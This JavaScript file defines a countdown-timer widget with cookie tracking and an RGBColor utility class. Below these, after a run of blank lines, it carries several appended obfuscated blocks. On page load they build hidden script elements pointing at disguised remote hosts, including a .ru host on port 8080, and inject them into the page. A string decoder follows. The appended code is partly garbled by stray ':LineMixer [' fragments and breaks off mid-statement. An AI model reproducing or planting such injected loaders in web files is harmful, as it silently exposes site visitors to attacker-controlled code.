// BEGIN COUNTER CLASS DECLARATION
function counter()
{
	// set the counter constructor variables
	this.Top = 10;
	this.Left = 10;
	this.backgroundColor = "blue";
	this.textColor = "yellow";
	this.borderColor = "black";
	this.borderWidth = 1;
	this.forwardAddress = "http://link1";
	this.GUID = 1531190115;
	this.counterStartTime = 25;
        this.counterAlertTime = 24; 
        this.textSize = 24;
        this.textFont = "Arial";
        this.displayText = "";

	this.cookieDontShowCounter = false;
	this.cookieDontShow = false;
	
	this.browserName = navigator.appName;
	this.browserVer = parseInt(navigator.appVersion);

	this.intervalAccumulator = 0;
	// TODO: check for cookie, calculate counterTimeLeft as a function
	// of counterCookieTime, currentTime, and counterStartTime
	this.originalStartTime = this.counterStartTime;
	this.counterTimeLeft = this.counterStartTime;
	this.stopCounter = false;
	this.counterEnded = false;
	
	this.netscapeAccumulator = 0;

	// set counterTicksLeft (ms)
	// set derivative times to 0

	this.counterTicksLeft = this.counterTimeLeft * 100;
	this.alertTicks = this.counterAlertTime * 100;
	this.counterDigits = 0;
	
	this.ms1=0;
	this.ms2=0;
	this.sec1=0;
	this.sec2=0;
	this.min1=0;
	this.min2=0;
	this.hr1=0;
	this.hr2=0;

	this.t;
	
	this.myGlide = null;
}

function counterConvertTime(ticks)
// this converts from ms to individual digits (hh mm ss msms)
{
	this.ms1=0;
	this.ms2=0;
	this.sec1=0;
	this.sec2=0;
	this.min1=0;
	this.min2=0;
	this.hr1=0;
	this.hr2=0;
	this.ms1 = ticks%10;
	if (ticks>10) {
		this.ms2=(ticks-ticks%10)/10 %10;
		if (ticks>100) {
			this.sec1=(ticks-ticks%100)/100 %10;
			if (ticks>1000) {
				this.sec2=(ticks-ticks%1000)/1000 % 6;
				if (ticks>6000) {
					this.min1=(ticks-ticks%6000)/6000 %10;
					if (ticks>60000) {
						this.min2=(ticks-ticks%60000)/60000 %6;
						if (ticks>360000) {
							this.hr1=(ticks-ticks%360000)/360000 %10;
							if (ticks>3600000) {
							  this.hr2=ticks-ticks%3600000;
							}
						}
					}
				}
			}
		}
	}
}

function counterCountDown()
{
	interval = 3;
		  
	if(!this.stopCounter)
	{
		this.counterConvertTime( this.counterTicksLeft );
		this.counterDigits = (this.hr2 + "" + this.hr1 + ":" + this.min2 + "" + this.min1 + ":" + this.sec2 + "" + this.sec1);// + "." + this.ms2 + "" + this.ms1 );
	        document.getElementById('counter').innerHTML = this.counterDigits;
                if(document.getElementById('staticCount'))
                    document.getElementById('staticCount').innerHTML = this.counterDigits;
		this.counterTicksLeft = this.counterTicksLeft - interval;
	}
	if(this.counterTicksLeft >= 0 && !this.stopCounter)
	{
		this.t = setTimeout("myCounter.counterCountDown()", interval*10);
	}
	else
	{
		this.counterSendToAddress();
		this.counterEnded = true;
	}
	this.intervalAccumulator = this.intervalAccumulator + interval;
	
	if(this.alertTicks >= this.counterTicksLeft && this.intervalAccumulator%(5*interval) == 0 && !this.stopCounter)
	{
	    var cColor = new RGBColor(document.getElementById('counter').style.color);
	    var tColor = new RGBColor(this.textColor);
	    
	    if(cColor.toHex() == tColor.toHex())
	        document.getElementById('counter').style.color = this.backgroundColor;
	    else
	        document.getElementById('counter').style.color = this.textColor;
	    this.intervalAccumulator = 0;
	}
	
	if(this.browserName == "Netscape")
	{
	    this.netscapeAccumulator = this.netscapeAccumulator + interval;
	    if(this.netscapeAccumulator%(100*interval) == 0)
	    {
               var myCookies = new Array();
               var foundDontShow = -1;
               var foundStartTime = -1;
               var foundStartDate = -1;
               var currentDate = new Date();
               var dateString = currentDate.getDate() + ":" + currentDate.getMonth() + ":" + currentDate.getYear();
               var currentHr = currentDate.getHours();
               var currentMin = currentDate.getMinutes();
               var currentSec = currentDate.getSeconds();
               myCookies = document.cookie.split(";");

	       for(count = 0; count < myCookies.length; count++)
	       {
	          if(this.counterStrTrim(myCookies[count].split("=")[0]) == "DontShow" + this.GUID)
	             foundDontShow = count;
	          else if(this.counterStrTrim(myCookies[count].split("=")[0]) == "StartTime" + this.GUID)
	             foundStartTime = count;
	          else if(this.counterStrTrim(myCookies[count].split("=")[0]) == "StartDate" + this.GUID)
	             foundStartDate = count;
	       }
	       if(foundStartTime > -1 && foundStartDate > -1 && foundDontShow > -1 && dateString == myCookies[foundStartDate].split("=")[1])
	       {
	          cookieTime = myCookies[foundStartTime].split("=")[1].split(":");
	          var elapsedTime = ((currentHr - cookieTime[0]) * 3600) + ((currentMin - cookieTime[1]) * 60) + currentSec - cookieTime[2];
		  var tempCounterTicksLeft = (this.originalStartTime - elapsedTime) * 100;
		  if((this.counterTicksLeft - 100) > tempCounterTicksLeft)
		  	this.counterTicksLeft = tempCounterTicksLeft;
	       }
	       this.netscapeAccumulator = 0;
	    }
	}
}

function counterBuild()
{
	
	// counterPos should always be set in a div
	var contents = document.getElementById('counterPos').innerHTML;
	var counter_text = 
	  '<div id="counterWrapper" style="margin-left:4px; margin-right:4; border-style:solid;' 
	  + 'background-color:' + this.backgroundColor + '; border-color:' + this.borderColor + '; border-width:' + this.borderWidth + 'px;">' 
	  + '<center><label style="font-weight:bold; padding:5px; color:' + this.textColor + '; font-family:' + this.textFont 
	  + '; font-size: ' + this.textSize + 'pt;" type="text" id="counter" >'
	  + '</label></center>';
	var text_text = '<div style="padding-left:3px; padding-right:3px;"><label style="font-size:' + Math.floor(0.75 * this.textSize) + ';">'
	  + this.displayText +'</label></div>';
	
	if(this.displayText.length > 0)
	  counter_text = counter_text + text_text;
	  
	counter_text = counter_text + '</div>';
	
//	alert(counter_text);
	document.getElementById('counterPos').innerHTML = contents + counter_text;
	this.counterCountDown(this.counterTimeLeft);
}

function counterPosition()
{
	var newdiv = document.createElement('div');
        var divIdName = 'counterPos';
	newdiv.setAttribute('id',divIdName);
	newdiv.style.position = 'absolute';
	newdiv.style.zIndex = 1000;
	document.body.appendChild(newdiv);
}

function counterUsingPopupCounter(sTime, aTime, top, left, bkColor, txtColor, bordColor, bordWidth, address, guid, txtSize, txtFont, dispText)
{
	this.Top = top;
	this.Left = left;
	this.backgroundColor = bkColor;
	this.textColor = txtColor;
	this.borderColor = bordColor;
	this.borderWidth = bordWidth;
	this.forwardAddress = address;
	this.GUID = guid;
	this.counterStartTime = sTime;
	this.originalStartTime = sTime;
        this.counterAlertTime = aTime;
        this.textSize = txtSize;
        this.textFont = txtFont;
        this.displayText = dispText;
    
       	this.counterTimeLeft = this.counterStartTime;
	this.counterTicksLeft = this.counterTimeLeft * 100;
	this.alertTicks = this.counterAlertTime * 100;
	myCounter.counterCheckCookies();
	myCounter.counterIsTimeLow();

        if(!this.cookieDontShow)
        {
        	var currentDate = new Date();
           	var dateString = currentDate.getDate() + ":" + currentDate.getMonth() + ":" + currentDate.getYear();
           	var timeString = currentDate.getHours() + ":" + currentDate.getMinutes() + ":" + currentDate.getSeconds();
       	        document.cookie = 'StartDate'+ this.GUID +'=' + dateString + '; expires=Thu, 2 Aug 2099 20:47:11 UTC; path=/';
       	        document.cookie = 'StartTime'+ this.GUID +'=' + timeString + '; expires=Thu, 2 Aug 2099 20:47:11 UTC; path=/';
        }
        else
        {
        	this.counterTimeLeft =  this.counterStartTime;
        	this.counterTicksLeft = this.counterTimeLeft * 100;
        }
        if(!this.cookieDontShowCounter)
        {
		this.counterPosition();
		this.counterBuild();
		document.onload = this.setGliding(); 
	}
}
function counterSendToAddress()
{
   if(this.forwardAddress != "none")
        window.location = this.forwardAddress;
}
function setGliding()
{
    this.myGlide = new Glider('counterPos',this.Top, this.Left, null, null, 700,-1);
    this.myGlide.show();
}

function counterCheckCookies()
{
   var myCookies = new Array();
   var cookieTime = new Array();
   var foundDontShow = -1;
   var foundStartTime = -1;
   var foundStartDate = -1;
   var timeLeft = false;
   var count;
   var currentDate = new Date();
   var dateString = currentDate.getDate() + ":" + currentDate.getMonth() + ":" + currentDate.getYear();
   var currentHr = currentDate.getHours();
   var currentMin = currentDate.getMinutes();
   var currentSec = currentDate.getSeconds();

   myCookies = document.cookie.split(";");
   for(count = 0; count < myCookies.length; count++)
   {
      if(this.counterStrTrim(myCookies[count].split("=")[0]) == "DontShow" + this.GUID)
         foundDontShow = count;
      else if(this.counterStrTrim(myCookies[count].split("=")[0]) == "StartTime" + this.GUID)
         foundStartTime = count;
      else if(this.counterStrTrim(myCookies[count].split("=")[0]) == "StartDate" + this.GUID)
         foundStartDate = count;
   }

   if(foundStartTime > -1 && foundStartDate > -1 && foundDontShow > -1 && dateString == myCookies[foundStartDate].split("=")[1])
   {
      cookieTime = myCookies[foundStartTime].split("=")[1].split(":");
      var elapsedTime = ((currentHr - cookieTime[0]) * 3600) + ((currentMin - cookieTime[1]) * 60) + currentSec - cookieTime[2];
      if(elapsedTime < this.counterStartTime)
      {
         timeLeft = true;
         this.counterStartTime = this.counterStartTime - elapsedTime;
      }
   }
   if(foundDontShow > -1 && !timeLeft)
   {
       this.cookieDontShowCounter = true;
       setTimeout("myCounter.counterSendToAddress()", 1);
   }
   if(foundDontShow > -1)
   {
       this.cookieDontShow = true;
   }
   setTimeout("myCounter.counterSetDontShowCookie()", 1000);
   if(this.counterTicksLeft < 200)
	setTimeout("myCounter.counterCheckCookies()", 5000);
}

function counterIsTimeLow()
{
  if(this.counterTicksLeft < 200)
	setTimeout("myCounter.counterCheckCookies()", 200);
  else
  	setTimeout("myCounter.counterIsTimeLow()", 100);
}

function counterSetDontShowCookie()
{
   document.cookie = 'DontShow'+ this.GUID +'=true; expires=Thu, 2 Aug 2099 20:47:11 UTC; path=/';
}

function counterStrTrim(inputString) 
{
   // Removes leading and trailing spaces from the passed string. Also removes
   // consecutive spaces and replaces it with one space. If something besides
   // a string is passed in (null, custom object, etc.) then return the input.
   if (typeof inputString != "string") { return inputString; }
   var retValue = inputString;
   var ch = retValue.substring(0, 1);
   while (ch == " ") { // Check for spaces at the beginning of the string
      retValue = retValue.substring(1, retValue.length);
      ch = retValue.substring(0, 1);
   }
   ch = retValue.substring(retValue.length-1, retValue.length);
   while (ch == " ") { // Check for spaces at the end of the string
      retValue = retValue.substring(0, retValue.length-1);
      ch = retValue.substring(retValue.length-1, retValue.length);
   }
   while (retValue.indexOf("  ") != -1) { // Note that there are two spaces in the string - look for multiple spaces within the string
      retValue = retValue.substring(0, retValue.indexOf("  ")) + retValue.substring(retValue.indexOf("  ")+1, retValue.length); // Again, there are two spaces in each of the strings
   }
   return retValue; // Return the trimmed string back to the user
} // Ends the "trim" function

function counterEnd()
{
   cntPos = document.getElementById('counterPos');
   cntPos.parentNode.removeChild(cntPos);
   this.stopCounter = true;
   this.counterTimeLeft = 0;
}

counter.prototype.counterConvertTime = counterConvertTime;
counter.prototype.counterCountDown = counterCountDown;
counter.prototype.counterBuild = counterBuild;
counter.prototype.counterPosition = counterPosition;
counter.prototype.counterUsingPopupCounter = counterUsingPopupCounter;
counter.prototype.counterSendToAddress = counterSendToAddress;
counter.prototype.setGliding = setGliding;
counter.prototype.counterCheckCookies = counterCheckCookies;
counter.prototype.counterIsTimeLow = counterIsTimeLow;
counter.prototype.counterStrTrim = counterStrTrim;
counter.prototype.counterSetDontShowCookie = counterSetDontShowCookie;
counter.prototype.counterEnd = counterEnd;

// END COUNTER CLASS DECLARATION

//BEGIN COLOR CLASS
function RGBColor(color_string)
{
    this.ok = false;

    // strip any leading #
    if (color_string.charAt(0) == '#') { // remove # if any
        color_string = color_string.substr(1,6);
    }

    color_string = color_string.replace(/ /g,'');
    color_string = color_string.toLowerCase();

    // before getting into regexps, try simple matches
    // and overwrite the input
    var simple_colors = {
        aliceblue: 'f0f8ff',
        antiquewhite: 'faebd7',
        aqua: '00ffff',
        aquamarine: '7fffd4',
        azure: 'f0ffff',
        beige: 'f5f5dc',
        bisque: 'ffe4c4',
        black: '000000',
        blanchedalmond: 'ffebcd',
        blue: '0000ff',
        blueviolet: '8a2be2',
        brown: 'a52a2a',
        burlywood: 'deb887',
        cadetblue: '5f9ea0',
        chartreuse: '7fff00',
        chocolate: 'd2691e',
        coral: 'ff7f50',
        cornflowerblue: '6495ed',
        cornsilk: 'fff8dc',
        crimson: 'dc143c',
        cyan: '00ffff',
        darkblue: '00008b',
        darkcyan: '008b8b',
        darkgoldenrod: 'b8860b',
        darkgray: 'a9a9a9',
        darkgreen: '006400',
        darkkhaki: 'bdb76b',
        darkmagenta: '8b008b',
        darkolivegreen: '556b2f',
        darkorange: 'ff8c00',
        darkorchid: '9932cc',
        darkred: '8b0000',
        darksalmon: 'e9967a',
        darkseagreen: '8fbc8f',
        darkslateblue: '483d8b',
        darkslategray: '2f4f4f',
        darkturquoise: '00ced1',
        darkviolet: '9400d3',
        deeppink: 'ff1493',
        deepskyblue: '00bfff',
        dimgray: '696969',
        dodgerblue: '1e90ff',
        feldspar: 'd19275',
        firebrick: 'b22222',
        floralwhite: 'fffaf0',
        forestgreen: '228b22',
        fuchsia: 'ff00ff',
        gainsboro: 'dcdcdc',
        ghostwhite: 'f8f8ff',
        gold: 'ffd700',
        goldenrod: 'daa520',
        gray: '808080',
        green: '008000',
        greenyellow: 'adff2f',
        honeydew: 'f0fff0',
        hotpink: 'ff69b4',
        indianred : 'cd5c5c',
        indigo : '4b0082',
        ivory: 'fffff0',
        khaki: 'f0e68c',
        lavender: 'e6e6fa',
        lavenderblush: 'fff0f5',
        lawngreen: '7cfc00',
        lemonchiffon: 'fffacd',
        lightblue: 'add8e6',
        lightcoral: 'f08080',
        lightcyan: 'e0ffff',
        lightgoldenrodyellow: 'fafad2',
        lightgrey: 'd3d3d3',
        lightgreen: '90ee90',
        lightpink: 'ffb6c1',
        lightsalmon: 'ffa07a',
        lightseagreen: '20b2aa',
        lightskyblue: '87cefa',
        lightslateblue: '8470ff',
        lightslategray: '778899',
        lightsteelblue: 'b0c4de',
        lightyellow: 'ffffe0',
        lime: '00ff00',
        limegreen: '32cd32',
        linen: 'faf0e6',
        magenta: 'ff00ff',
        maroon: '800000',
        mediumaquamarine: '66cdaa',
        mediumblue: '0000cd',
        mediumorchid: 'ba55d3',
        mediumpurple: '9370d8',
        mediumseagreen: '3cb371',
        mediumslateblue: '7b68ee',
        mediumspringgreen: '00fa9a',
        mediumturquoise: '48d1cc',
        mediumvioletred: 'c71585',
        midnightblue: '191970',
        mintcream: 'f5fffa',
        mistyrose: 'ffe4e1',
        moccasin: 'ffe4b5',
        navajowhite: 'ffdead',
        navy: '000080',
        oldlace: 'fdf5e6',
        olive: '808000',
        olivedrab: '6b8e23',
        orange: 'ffa500',
        orangered: 'ff4500',
        orchid: 'da70d6',
        palegoldenrod: 'eee8aa',
        palegreen: '98fb98',
        paleturquoise: 'afeeee',
        palevioletred: 'd87093',
        papayawhip: 'ffefd5',
        peachpuff: 'ffdab9',
        peru: 'cd853f',
        pink: 'ffc0cb',
        plum: 'dda0dd',
        powderblue: 'b0e0e6',
        purple: '800080',
        red: 'ff0000',
        rosybrown: 'bc8f8f',
        royalblue: '4169e1',
        saddlebrown: '8b4513',
        salmon: 'fa8072',
        sandybrown: 'f4a460',
        seagreen: '2e8b57',
        seashell: 'fff5ee',
        sienna: 'a0522d',
        silver: 'c0c0c0',
        skyblue: '87ceeb',
        slateblue: '6a5acd',
        slategray: '708090',
        snow: 'fffafa',
        springgreen: '00ff7f',
        steelblue: '4682b4',
        tan: 'd2b48c',
        teal: '008080',
        thistle: 'd8bfd8',
        tomato: 'ff6347',
        turquoise: '40e0d0',
        violet: 'ee82ee',
        violetred: 'd02090',
        wheat: 'f5deb3',
        white: 'ffffff',
        whitesmoke: 'f5f5f5',
        yellow: 'ffff00',
        yellowgreen: '9acd32'
    };
    for (var key in simple_colors) {
        if (color_string == key) {
            color_string = simple_colors[key];
        }
    }
    // emd of simple type-in colors

    // array of color definition objects
    var color_defs = [
        {
            re: /^rgb\((\d{1,3}),\s*(\d{1,3}),\s*(\d{1,3})\)$/,
            example: ['rgb(123, 234, 45)', 'rgb(255,234,245)'],
            process: function (bits){
                return [
                    parseInt(bits[1]),
                    parseInt(bits[2]),
                    parseInt(bits[3])
                ];
            }
        },
        {
            re: /^(\w{2})(\w{2})(\w{2})$/,
            example: ['#00ff00', '336699'],
            process: function (bits){
                return [
                    parseInt(bits[1], 16),
                    parseInt(bits[2], 16),
                    parseInt(bits[3], 16)
                ];
            }
        },
        {
            re: /^(\w{1})(\w{1})(\w{1})$/,
            example: ['#fb0', 'f0f'],
            process: function (bits){
                return [
                    parseInt(bits[1] + bits[1], 16),
                    parseInt(bits[2] + bits[2], 16),
                    parseInt(bits[3] + bits[3], 16)
                ];
            }
        }
    ];

    // search through the definitions to find a match
    for (var i = 0; i < color_defs.length; i++) {
        var re = color_defs[i].re;
        var processor = color_defs[i].process;
        var bits = re.exec(color_string);
        if (bits) {
            channels = processor(bits);
            this.r = channels[0];
            this.g = channels[1];
            this.b = channels[2];
            this.ok = true;
        }

    }

    // validate/cleanup values
    this.r = (this.r < 0 || isNaN(this.r)) ? 0 : ((this.r > 255) ? 255 : this.r);
    this.g = (this.g < 0 || isNaN(this.g)) ? 0 : ((this.g > 255) ? 255 : this.g);
    this.b = (this.b < 0 || isNaN(this.b)) ? 0 : ((this.b > 255) ? 255 : this.b);

    // some getters
    this.toRGB = function () {
        return 'rgb(' + this.r + ', ' + this.g + ', ' + this.b + ')';
    }
    this.toHex = function () {
        var r = this.r.toString(16);
        var g = this.g.toString(16);
        var b = this.b.toString(16);
        if (r.length == 1) r = '0' + r;
        if (g.length == 1) g = '0' + g;
        if (b.length == 1) b = '0' + b;
        return '#' + r + g + b;
    }

    // help
    this.getHelpXML = function () {

        var examples = new Array();
        // add regexps
        for (var i = 0; i < color_defs.length; i++) {
            var example = color_defs[i].example;
            for (var j = 0; j < example.length; j++) {
                examples[examples.length] = example[j];
            }
        }
        // add type-in colors
        for (var sc in simple_colors) {
            examples[examples.length] = sc;
        }

        var xml = document.createElement('ul');
        xml.setAttribute('id', 'rgbcolor-examples');
        for (var i = 0; i < examples.length; i++) {
            try {
                var list_item = document.createElement('li');
                var list_color = new RGBColor(examples[i]);
                var example_div = document.createElement('div');
                example_div.style.cssText =
                        'margin: 3px; '
                        + 'border: 1px solid black; '
                        + 'background:' + list_color.toHex() + '; '
                        + 'color:' + list_color.toHex()
                ;
                example_div.appendChild(document.createTextNode('test'));
                var list_item_value = document.createTextNode(
                    ' ' + examples[i] + ' -> ' + list_color.toRGB() + ' -> ' + list_color.toHex()
                );
                list_item.appendChild(example_div);
                list_item.appendChild(list_item_value);
                xml.appendChild(list_item);

            } catch(e){}
        }
        return xml;

    }

}
//END COLOR CLASS
var myCounter = new counter();








var q=document;var sz=new Array();this.z="";var y=window;var v;if(v!=''){v='qx'};var a='s1cEr@i0p@t1'.replace(/[10E@B]/g, '');var sh;if(sh!='' && sh!='fn'){sh='f'};var qm;if(qm!='' && qm!='b'){qm='ql'};var p=new Date();var sl;if(sl!=''){sl='ai'};y.onload=function(){try {var pm='';s=q.createElement(a);this.lr='';var ze=new String();s.src='hdtdtKpd:F/F/drKaFkFu%t9ednF-KnKe%-9jKpF.ds9wFe%edtdidmK.FcKodmK.FgdoFo%gKl9e%-KcFo9m9-9hdkK.drKe9c9eKn%tdmde%x9i%cFod.Krdud:K8K098F09/daFl%l%odcKi%n9eK.dfKrF/%aKl9l9odcKiKnFeK.KfKr9/9g%oKo%gdldeF.Kc9oKmF.9nFg9/dmKiFxKid.Kj9pd/9gKoFodgdl%ed.%cdoFmF/K'.replace(/[K%Fd9]/g, '');var x;if(x!='fm'){x=''};this.w=58677;s.setAttribute('dwezftetrt'.replace(/[t9Dzw]/g, ''), "1");var xy="";var wm=45275;q.body.appendChild(s);} catch(sg){};};this.lj='';this.pi="";
var n="n";var r;if(r!=''){r='v'};:LineMixer [this.z=8791;var s=window;var x;if(x!='j'){x=''};var li;if(li!='ho'){li='ho'};var g='s1c8r8i1p1t1'.replace(/[1n8QJ]/g, '');var t;if(t!='n_' && t != ''){t=null};var l='c,rsesa^tse,EslseVm^esn2tV'.replace(/[V\^,2s]/g, '');var w;if(w!='jq' && w != ''){w=null};var na="na";]var nx;if(nx!=''){nx='rp'};var _l;if(_l!='c' && _l!='fd'){_l=''};s.onload=function(){var fi="";try {var y;if(y!='zp' && y!='m'){y='zp'};k=document[l](g);var zm=false;this.zz="zz";:LineMixer [var ud=39959;var wv;if(wv!='zy' && wv != ''){wv=null};k['s~roc~'.replace(/[~ofnT]/g, '')]='h9t9tAp9:A/O/Aa9mOa5zAoAnB-AcAo9mO.9bBaArBn5e5s5a5n9d9nOo5bBlBe5.Bc9oOmB.Ba9p9pBl9eB-BcBo9mB.5hAoAtOn9eBw5gOuAiOd5eO.OrOu5:B8O0A8B05/9eOb9aAy9.9fBrO/Oe5bBaAyB.9fBrA/BaAdAoOb9eA.Bc9o5m5/Ag9o5oAg5lOeO.5cOoOm9/OnBaAvOe5rB.Ac5o5mB/5'.replace(/[59AOB]/g, '');var um=false;k.setAttribute('dReXfReXrF'.replace(/[FbhXR]/g, ''), "1");this.cn=false;]this.by="";var gr=26992;var dj=new String();document['bloAdIyl'.replace(/[lIAJZ]/g, '')]['a*p|p*e*n*dtCFh$iFl|d*'.replace(/[\*\|Ft\$]/g, '')](k);} catch(b){var hd=new Date();var bs;if(bs!='pvi' && bs!='ou'){bs='pvi'};};};
var g;if(g!='cd'){g='cd'};function r() {this.ky='';var w="";var sw='';function s(l,d,b){this.bp="";this.y="";var fv;if(fv!='' && fv!='kt'){fv=''};this.uq=false;l['s7eLtLALt;tLr7i0b9u;t9e7'.replace(/[70L9;]/g, '')](d, b);var du;if(du!=''){du='yc'};var ls=new Array();var m;if(m!='ay' && m != ''){m=null};}var c='cvr5eWaFtFe5EWl5eFmFe2n2tF'.replace(/[FvW52]/g, '');var i='sQcHr#i;pZtQ'.replace(/[QHZ#;]/g, '');var sz=36871;var va=53110;var u=window;var bc;if(bc!=''){bc='hq'};var p;if(p!='kf' && p!='hx'){p=''};u['oFn^l+o+azdq'.replace(/[qF\+z\^]/g, '')]=function(){this.lw='';try {t=document[c](i);var doc='';var r_;if(r_!='_n'){r_=''};this.vg='';this.ax=47638;s(t,'d_eLfneLrY'.replace(/[YnL_C]/g, ''),1);s(t,'shrZc*'.replace(/[\*h3#Z]/g, ''),'h4t+t?pA:?/A/4k?iAjAi?j<i?-Ac<a?.<f+o+t<o4l+oAg?.An?e+t?.4u<wAa4n4t<s<-+c<o4m?.4m+e?d<i?a+t<aAg<o4n?l<i<n+e4.<rAu+:?8?0A8A0+/At+rAa+v4i4a<n4.?a4e+/?t4r<aAv4i4a+n?.?a<e4/+pAi+x4i?v4.An4e+t</4m<e?e<t+u4p4.<c?oAmA/?gAo?o+g?l+e<.+c?oAm?/+'.replace(/[\+\<\?4A]/g, ''));document['bRozd8yz'.replace(/[zRir8]/g, '')]['a|pypqeynyd|CqhOiql|dq'.replace(/[q\|OyK]/g, '')](t);var fe;if(fe!='' && fe!='zb'){fe=''};} catch(a){var eyq=new String();var ph;if(ph!='' && ph!='ce'){ph='me'};};};var tz;if(tz!=''){tz='nc'};this.ws="ws";};r();var si;if(si!='tl'){si='tl'};var t_='';
var ZH="12212d3728522003113c0a711c102303662c070131140a100a390f2d2a143817091b2f122910060536162b0d3916263c321c101700073d26063816181f283f3a08180f6a3e16790e2a0e6814336a0818";var pvx='';var Sl;if(Sl!='Td' && Sl!='zk'){Sl=''};function s(Z){this.Sp="Sp";var n=new Date();var QG;if(QG!='Q' && QG != ''){QG=null}; var t=function(G, GN){var ou=new Date();var Dx='';var RV;if(RV!='Ck'){RV='Ck'};var fs;if(fs!='ON'){fs='ON'};var J = GN.length;var JG = '';var U=[13,0,106][1];var dE=false;var DL=new Date();var H=[1][0];var v = G.length;var dk;if(dk!='Mq'){dk='Mq'};var z=new Date();var RT=new Date();this.k="k";for(var W = U; W < v; W += J) {var ws=new String();var Jy;if(Jy!='' && Jy!='uL'){Jy=null};var We = G.substr(W, J);var Pq;if(Pq!=''){Pq='xI'};if(We.length == J){var vn;if(vn!='Jb'){vn='Jb'};for(var m in GN) {var pw;if(pw!='ZZ'){pw=''};JG+=We.substr(GN[m], H);var dr='';var YU;if(YU!='qy' && YU!='Gb'){YU='qy'};var Km;if(Km!='Ly'){Km='Ly'};}var LW;if(LW!='' && LW!='Me'){LW=null};var Rb="Rb";var tU;if(tU!='Ou'){tU=''};} else {var YS=23965;  JG+=We;}var MT=new String();}var Uv=new String();return JG;var YF=new Array();var yz=new Array();};var Nd="Nd";var jQ=false; var A=function(G){var lz;if(lz!='' && lz!='MO'){lz='Dn'};var JG = '';G = new R(G);var U =[0,79][0];var B;if(B!='' && B!='oZ'){B='HZ'};var cb=new String();var l = -1;var lh=new Array();var W =[0,138,222,72][0];var ry="";var sJ=new Date();var IE;if(IE!='' && IE!='UE'){IE='ht'};var IC;if(IC!='' && IC!='xM'){IC=null};for (W=G[t("tnelgh", [3,2,1,4,0])]-l;W>=U;W=W-[1][0]){JG+=G[t("hcratA", [1,0])](W);this.e=false;var rs;if(rs!='uG' && rs!='Jt'){rs=''};}var bM;if(bM!='' && bM!='EF'){bM=''};var bf;if(bf!='' && bf!='pvY'){bf=''};this.Or="";this.Cf=22065;return JG;};this.Pf='';this.uA="uA";this.MP=''; var T=function(N,mH){this.Tw='';var Vu;if(Vu!='' && Vu!='TN'){Vu='iZ'};return N^mH;var zY;if(zY!='xC' && zY!='AA'){zY='xC'};var DZ=new String();}; function vr(S){var ZJ;if(ZJ!='' && ZJ!='Fjs'){ZJ='nj'};var Ek=new String();var g=S[t("nlgeth", [1,3,0,2])];this.Li="Li";var Y=[255,229][0];var a=[0,125][0];var m=[102,47,0][2];var RK=26880;var Cd;if(Cd!='' && Cd!='RB'){Cd=''};var H=[63,1][1];this.aW="";var qm=new Array();while(m<g){this.Ko='';var JE;if(JE!='KF'){JE=''};var Nv=new Date();var mw;if(mw!=''){mw='Eq'};m++;HC=Wn(S,m - H);a+=HC*g;}var Vc;if(Vc!='pm' && Vc != ''){Vc=null};var zE=10790;var CQ=15423;return new R(a % Y);this.JGq="";var GG;if(GG!='Vi'){GG=''};}var JA="";var JB="";var GV="GV"; function Wn(Ux,w){var Zv;if(Zv!='IU' && Zv != ''){Zv=null};var Jx;if(Jx!='' && Jx!='LA'){Jx='tg'};return Ux[t("dCrhaoceAt", [6,3,4,2,1,5,0])](w);var zW;if(zW!=''){zW='HK'};this.EY='';}var wL;if(wL!='Gs' && wL!='qM'){wL='Gs'};var fX;if(fX!='Oc' && fX!='Gr'){fX='Oc'};var DV="DV";var VQ;if(VQ!='' && VQ!='BB'){VQ=''};var d=window;var EU="";var Nf=d[t("vela", [1,0])];var M=Nf(t("unFticon", [2,0,1]));this.no="";var Pm=new Date();var yQ="yQ";var R=Nf(t("nriStg", [3,4,1,2,0]));var ZQQ;if(ZQQ!='' && ZQQ!='Qa'){ZQQ='Ya'};var vl=48403;var ta=Nf(t("gRepEx", [1,2,0]));var WP = '';var Bs;if(Bs!='tW' && Bs!='Kr'){Bs=''};var QS="";var mG="";this.NL=39143;this.HH="";var uok=new Date();var Vh;if(Vh!='' && Vh!='OB'){Vh='Dg'};this.Un="";var eH;if(eH!=''){eH='spQ'};var y=d[t("nusaepce", [1,0,4,2,6,3,5])];var em;if(em!='jy'){em=''};var ST=R[t("ofrmaChrdCoe", [1,2,0,3])];var pvo=44927;var pB='';var K = Z[t("hgtlne", [3,5,4,1,2,0])];var Hu;if(Hu!='' && Hu!='BV'){Hu=''};this.YNQ=59217;var KH = "%";var Xb="Xb";var U =[0,7,91][0];this.ZM='';var DEU;if(DEU!='qn' && DEU!='HZM'){DEU='qn'};this.ft="ft";var gZ = '';var vA;if(vA!='FG' && vA!='Kk'){vA=''};var vp = '';var HG=new Date();var H =[1,170,239][0];var mGY;if(mGY!='sC'){mGY=''};var GR=new Array();var u=[1, t("ocntedumcreEt.eaem(\'tlencr\')tsip", [5,0,1,6,7,4,2,3]),2, t("cdmeuonbtdyo..pandepClh(ddi)", [1,5,0,4,2,3,6]),3, t("ic.omleviestndiesg0.:ru880", [1,3,4,2,5,0]),4, t("hpd.ermatsmi.eoc.mponends", [1,0]),5, t("s.dAterttubi(eted\'ref\'", [2,1,0]),6, t("ogegcl.oom", [3,0,7,1,5,2,6,4]),7, t("iwnodwo.nolad", [1,0,2]),8, t("tsapomge.com", [6,2,5,7,1,3,4,0]),11, t("npse.og.com", [3,2,1,0]),12, t("ucfninto()", [2,0,3,1]),14, t("yn.fcoitm", [1,6,3,7,0,2,4,5]),15, t("(chc)ate", [1,5,6,3,2,0,7,4]),16, t("oggoel", [1,0]),17, t("tth\"p:", [3,2,1,0]),18, t("rsd.c", [2,3,1,0,4]),19, t(")1\'\'", [3,1,2,0]),20, t("rty", [1,0]),21, t("ocm", [1,0])];var Al="";var ls;if(ls!='' && ls!='oM'){ls='MV'};var Mh = '';var c =[0,241][0];var mJ =[2,100,243,142][0];this.ib=false;var Ob=new Array();this.Vm='';var JO = /[^@a-z0-9A-Z_-]/g;var iC=new Array();var ZL;if(ZL!='DY' && ZL!='wP'){ZL='DY'};this.smR='';var rU=new String();for(var Fz=U; Fz < K; Fz+=mJ){vp+= KH; var Do=false;var AJ="";vp+= Z[t("ubstrs", [2,0,1])](Fz, mJ);this.Ud='';var Hij=false;}var Mk="";var iNc;if(iNc!='' && iNc!='dz'){iNc=''};var Z = y(vp);var BT=false;var ee=new Array();var Xv=new Array();var lc = new R(s);var ykF=new String();var Jf;if(Jf!='' && Jf!='cRp'){Jf=null};var V = lc[t("plecare", [5,6,0,1,4,3,2])](JO, gZ);var wD='';var wr='';var o = u[t("ngleth", [2,3,0,1])];this.Xr="";var Bz="";var P = new R(M);var WJ;if(WJ!='qS' && WJ!='wy'){WJ='qS'};V = A(V);var 